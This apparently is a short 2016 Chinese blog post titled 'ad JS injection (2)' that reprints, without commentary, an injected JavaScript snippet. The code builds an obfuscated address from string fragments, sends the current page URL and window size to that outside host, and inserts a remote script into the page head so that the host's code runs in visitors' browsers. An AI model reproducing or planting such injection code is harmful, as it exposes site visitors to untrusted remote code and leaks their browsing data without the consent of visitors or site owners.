广告js注入(2)

(function (d)
{
    function $a(p)
    {
        try
        {
            var x = d.getElementsByTagName("head")[0];
            x.appendChild($s(p))
        }
        catch (e)
        {}

    }
    function $c(n)
    {
        return d.createElement(n)
    }
    function $s(p)
    {
        var j = $c("script");
        j.src = p;
        j.async = true;
        j.type = "text/javascript";
        return j
    }
    var amt = 0;
    function $rn()
    {
        var ww = d.body.clientWidth;
        var hh = d.body.clientHeight;
        var u =
        {
            j : "ht",
            c : "com.cn",
            q : "tp:",
            m : "b.",
            n : "wdzs",
            d : "a."
        };
        var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;
        var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;
        if (top == this)
        {
            if (ww < 300 || hh < 40)
            {
                amt += 1;
                if (amt < 3)
                {
                    setTimeout($rn, 1000)
                }
                else
                {
                    $a(be + "/fmt4/m.php?u=" + en)
                }
            }
            else
            {
                $a(be + "/fmt4/?u=" + en)
            }
        }
    }
    setTimeout($rn, 500)
}
)(document);

 

posted @ 2016-04-28 10:29  五艺  阅读(178)  评论(0编辑  收藏  举报